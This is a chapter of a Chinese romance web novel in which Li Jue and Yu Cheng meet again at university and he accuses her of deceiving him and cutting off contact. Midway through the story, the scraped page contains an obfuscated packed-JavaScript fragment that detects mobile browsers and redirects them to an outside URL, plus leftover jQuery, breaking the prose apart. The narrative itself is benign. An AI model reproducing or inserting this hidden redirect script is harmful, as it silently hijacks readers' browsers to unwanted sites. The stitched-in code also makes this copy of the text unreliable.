54. 你挺会骗人的
作品:《小缺角》 不期而遇四目相对,离玦回想起高一那年初见,夜深的杂货店,俞珵在她即将关店之际闯了进来,喊她‘等等’。
如今乡间小店早已不属于她,眼前的少年也变了样。
眉骨紧挺,五官轮廓较两年前深邃锋利,多了些许沉稳,越发帅了。
看见她时俞珵表情惊愕,久别重逢,短短一瞬诧异后,他嘴角高高扬起,仿佛黑白默片晒成五彩的颜色,天上掉礼物砸中头上,眼睛‘叮’一下变得澄亮。
“这次不是二百五了?”
没变,一样的嘴欠,离玦没好气按熄桌上的服务键。
“你来过这家店?”坐他旁边的男生疑惑看了看两人,对离玦道,“微信付。”
离玦应‘好’举起扫码器,俞珵却按下朋友的手机,语气吊儿郎当,“先加微信,加了再付账。”
轻佻的语气惹来三双白眼,同行男生觉丢脸,“你小子浪什么!别随地开屏可以吗?”
俞珵淡定无视,依旧对着离玦笑。
“扫桌上二维码可添加本店公众号。”
“我只要你的微信,不要店里的。”
“那你自己到前台付吧。”
懒得搭理这无赖,离玦收起账单离开。
“哎我开玩笑。”俞珵急忙站起身跟上,“别走啊,你在这里兼职?几点下班?我等你。”
“不好笑,是,不想告诉你,不用等。”
“头发留长了,对了你手机号没换吧,什么时候把我放出来,都两年了,别生气了……”
二人走远,留在原地的顾俊和林昊面面相觑,“什么情况?”
晚上九点,离玦打卡下班,俞珵等在店外,见她出来,笑吟吟迎上前,“下班了。”
这人还真等了,从七点等到现在。
俞珵心情似乎很好,态度熟稔得仿佛过去两年并无断联,商场人来人往,耳边嘈杂,离玦看着他,沉默的表情与他的欣喜赫然相反。
变了,他身上的味道变了,不再是千篇一律的工业香精味,变得清新,一股青柚的香气,也像柑橘的果香,里里外外透着明亮。
始料不及的重逢该如何开场白,像老朋友那样关心他最近过得怎样,还是聊聊自己这两年经历过的事?
可像老朋友那样又该是怎么样的,拍拍对方的肩膀,故作无所谓笑笑,再客套寒暄互聊近况。
合适吗。
“为什么不说话?”俞珵长高了,低头说话时刘海垂下,遮住了眉,等不到回应,又继续往下寻话题,“饿不饿,要不去吃点东西,怎么这幅表情,不相信我也考上郦大?”
离玦表情终于有了波动。
确实难以置信,自己报考郦大是因为本市户籍生有学费优惠,而俞珵根本无须考虑这点,为何还选择留在郦城?
“你高考考了多少分?”
“一上来就问这个,无情的人。”调侃归调侃,俞珵报出分数,“比你少六分,是不是很巧。”
并不巧,而且他怎么知道她的分数?
正要刨根问底,脑海里先想到陈家全。
难怪填志愿那天陈家全特意来找她,还奇奇怪怪问东问西,除了分数,陈家全还透露了什么?
“是陈家全告诉你的?我报考的学校也是他说的?”
“发现了?迟钝。都拿我自行车去骑了,跑个腿而已,那小子不会推托。”
他连这事都知道,“你的自行车是我擅作主张给他们骑的。”
离淑芬把房子卖了,家里的东西是她仅剩的资产,三楼没有值钱物品,不得已她把二楼的家具家电全转卖换钱,而俞珵留下的两辆山地车,她给了陈家全和东子。
得了新车的发小们无比高兴,天天骑着车招摇过市,还自称黑白双煞。
“我知道,本来就是你的生日礼物,随你处置。”俞珵不在意撇了撇嘴,听不出语气中的情绪,“要回学校了吗?走吧我送你。”
郦大与商场只隔半个街区,同路回校,拒绝实在矫情,可为什么选择郦大,离玦无法问出口。
比自己少六分,按理说这个分数有更多更好的选择,且市重点高中多半有竞赛班或提前批自主招,他都没参加吗?再不济也能出国留学,俞母怎么可能随他任性。
“你是不是有话对我说?”视线过于直白,俞珵好笑看着她,“我考郦大真有这么不可思议?你就差把刨我家户口写脸上了。”
“……”离玦收回目光,罢了,管他念哪所学校,与自己无关的事少掺和为妙,毕竟他妈有‘耀祖被害妄想症’。
“什么时候留的长发?”
“高二后就没剪过了。”离玦捋起自己的马尾,兴许耿耿于怀俞母的话,升高二后她学着养头发,当初毛躁的黄发变得柔顺黑亮,头发长了,陈旭南说她更漂亮,经常给她置办各种发饰。
“是吗,我都不知道,你把我微信拉黑了,看不见你的近况。”
这人口吻坦荡,似乎并不在乎离玦单方面断联,反惹得她尴尬。
毕竟这两年,自己确切受过他不少恩惠,每周陈家全送来的卷子都印着市实验一中的校徽,还有笔记、习题、各省各市高校模拟卷……即便陈家全不说,傻子都知道是谁的意思。
她的高考分数是靠这些复习资料堆砌出来的。
“这两年过得怎么样?备考很累吧。”他只字不提资料的事,“听说高三你在学校住宿,压力很大吗?”
旧友寒暄,眼前的路无限拉长,一下子延伸回高考前夕。
至亲弃养、家中房铺变卖、好友消失不见,每天小心翼翼在不安与焦虑中度过,生怕哪一步走错,成长的代价沉重,险些压断脊梁。
每每这时她都心有余悸,无比庆幸自己收下梅亭的五万元。
溺水人濒死前抓住的最后一根稻草。
“还好,谁不是这样走过来。”离玦抬头看了眼夜空,郦城不像在垌街,天空灰蒙蒙看不见一颗星,“我以为你会跟家全打听。”
“我没问。”俞珵低头看着地上二人重叠的影,“你不松口,问别人也没意思。”
离玦缄默。
“陈家全入伍了?那天看见东子发的朋友圈。”
“嗯,去的北方。”
“东子呢,他没去?他不是没念大学吗?”
中二的陈旭东一腔热血志存高远,说什么世界那么大要去闯一闯,离玦也头疼,“高考前他跟家里闹了一场,他爸答应考完试后随他折腾,现在估计在某个地方打游戏吧。”
俞珵不置可否,“电竞这条路,不好走。”
“是吗?”那是离玦不曾接触过的领域,“让他试试也没什么,父母支持,他有试错的成本。”
不像她。
俞珵看了她一眼,转了话题,“庆庆六岁了吧,是今年上小学?”
“嗯,九月上的一年级,赵婆领她去学校,全班就她哭了,问她为什么哭,才知道是陈家全骗她说奶奶不要她,要把她丢到学校。”
“真是嘴欠,果然送去部队是正确选择。”
离玦笑笑,心想你以前不也一样,卧龙凤雏不分伯仲。
路过学校人工湖,夜里散步的学生不少,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077547|173109||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新引进的一对天鹅在湖面扑翅,叫唤着飞上岸。
“兼职是每天都去吗?”俞珵回头看了眼群树环绕的昏暗校道,“每天下班走这么长的路很累吧,我有一辆朋友改装过的电动车,车速调慢了一直闲置,你先拿去开吧。”
“不用了,也不是经常去,这几天国庆才多排了班次。”
“那明天我去接你,反正假期也没事做。”
从小道穿过生活区来到女生宿舍楼下,离玦停住脚步,“不需要。”
她看向他,发型染烫过,很亮眼,个高肩宽年轻蓬勃,墨绿色短袖潮T藏着张扬的劲,黑色牛仔裤下是离玦没见过的品牌运动鞋,往月下一站,惹来周围或明或暗的注目打量。
再对比自己,头发长了,但也仅仅是长了而已,并不代表什么。
“小梅姐的五万块,我花光了。”
语气添了凉薄,受人钱财的道理她比谁都懂,乖乖听话了两年,不差再继续听话下去,“你们留在二楼的东西我也卖了,一分钱也没留。”
一整晚刻意逃避的话题被她主动掀起,他蹙眉,安静听着她往下道,“已经没办法退款,总得让买家觉得钱花得值,才两年就弄出售后,光听着都糟心。”
“所以你现在的意思是,让我滚远点?”
俞珵声音很轻,“离玦,你真是又胆小又可恶。”
胆小吗?可恶吗?当初她有家还有一间小店,凌空而下的尚且是刀刃都接不住,如今她背后空空,苦苦挣扎求生存,如何再承受从云层缝隙劈下的一刀?
“随便你怎么想,反正意思我传达过,别再来烦我。”离玦别过脸,眸中闪过一抹疲惫,“我已经够忙了,没精力应付你家人。”
“是关于张筝儿?”
他居然知道,“筝儿的事,陈家全和东子不可能告诉你。”
“确实不是他们说,是我自己猜的,高考后我回了垌街。”
俞珵苦笑,“高一暑假回去,杂货店关着门,高考后的暑假再回去,整栋楼拆成废墟,当时我看着施工的泥车,心想也不知是自己倒霉还是你倒霉,回去一次变一次样。”
“你们都不在,我只能找赵婆打听你家的事,我知道你会不高兴,可谁让你躲着我。”
“我没有躲你,我们去了杗乡。”
“早猜到了,高考结束那天,陈家全发了你们三人在五中的合照,张筝儿不在,我就知道和张筝儿有关,她也转学了对吗?”
“同样是转学,同样是离开五中。”他低头踢开脚边的小石块,“在你这里,缺谁也不能缺了她。”
“其实仔细想想,你真的挺会骗人的。”
“当初劝我转学,一句比一句说得好听,结果全是诓我的,转头就把我拉黑了。”
“五万花了就花了,又不是什么大钱,你整天揪着这个借口不放,不就是为了让自己更心安理得地疏远我吗。”
“离玦,假如把我的角色换成张筝儿,你会怎么做?”
不由惘然,听着他一句接一句的控诉,离玦哑了声。
“想不出来?我帮你想吧,你肯定钱照收,人也继续联系,想方设法瞒着藏着,大不了当这笔钱是借的,以后再还。你是谁啊,你是离玦,有你办不成的事吗?没有,只有你愿不愿意做的事。”
无法反驳,因为这确实是她最先涌现的想法,离玦垂下眼眸不再看他。
把她心虚的表情尽收眼底,俞珵咬牙压下满腹幽怨与不甘,“你看,被我猜中了吧。”
“所以别把责任推出去,你‘迫不得已’的姿态,我真的看不惯。”

